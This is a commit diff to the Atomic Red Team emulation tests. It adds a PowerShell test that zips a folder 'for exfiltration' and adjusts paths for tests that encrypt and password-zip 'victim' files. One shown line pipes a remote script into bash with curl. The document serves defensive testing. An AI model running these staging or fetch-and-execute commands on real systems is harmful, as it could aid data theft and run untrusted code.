Zip a folder with PowerShell (#640)
* add test to compress directory and delete it * remove cleanup command sbecause I don't have a way to test them yet * fix paths * fix command misspelling * zip into C drive * fix paths to Temp finally * move to data staging
This commit is contained in:
committed by
Carrie Roberts
parent
232fb47eda
commit
65d0f6dc5d
@@ -17,11 +17,11 @@ atomic_tests:
|
||||
elevation_required: false
|
||||
command: |
|
||||
echo "This file will be encrypted" > /tmp/victim-gpg.txt
|
||||
mkdir /tmp/victim-files
|
||||
mkdir PathToAtomicsFolder/T1022/victim-files
|
||||
cd /tmp/victim-files
|
||||
touch a b c d e f g
|
||||
zip --password "insert password here" /tmp/victim-files.zip /tmp/victim-files/*
|
||||
gpg -c /tmp/victim-gpg.txt
|
||||
zip --password "insert password here" $PathToAtomicsFolder/victim-files.zip /tmp/victim-files/*
|
||||
gpg -c $PathToAtomicsFolder/T1022/victim-gpg.txt
|
||||
<enter passphrase and confirm>
|
||||
ls -l
|
||||
|
||||
@@ -67,8 +67,8 @@ atomic_tests:
|
||||
name: command_prompt
|
||||
elevation_required: false
|
||||
command: |
|
||||
mkdir .\tmp\victim-files
|
||||
cd .\tmp\victim-files
|
||||
mkdir $PathToAtomicsFolder\T1022\victim-files
|
||||
cd $PathToAtomicsFolder\T1022\victim-files
|
||||
echo "This file will be encrypted" > .\encrypted_file.txt
|
||||
7z a archive.7z -pblue
|
||||
dir
|
||||
|
||||
@@ -27,4 +27,17 @@ atomic_tests:
|
||||
executor:
|
||||
name: bash
|
||||
command: |
|
||||
curl -s https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1074/Discovery.sh | bash -s > /tmp/discovery.log
|
||||
curl -s https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1074/Discovery.sh | bash -s > /tmp/discovery.log
|
||||
|
||||
- name: Zip a Folder with PowerShell
|
||||
description: |
|
||||
use living off the land tools to encrypt and zip a file for exfiltration
|
||||
supported_platforms:
|
||||
- windows
|
||||
executor:
|
||||
name: powershell
|
||||
elevation_required: false
|
||||
command: |
|
||||
Compress-Archive -Path $PathToAtomicsFolder\T1074\bin\Folder_to_encrypt -DestinationPath $env:TEMP\Folder_to_encrypt.zip
|
||||
cleanup_command: |
|
||||
Remove-Item -Path $env:TEMP\Folder_to_encrypt.zip
|
||||
|
||||
Reference in New Issue
Block a user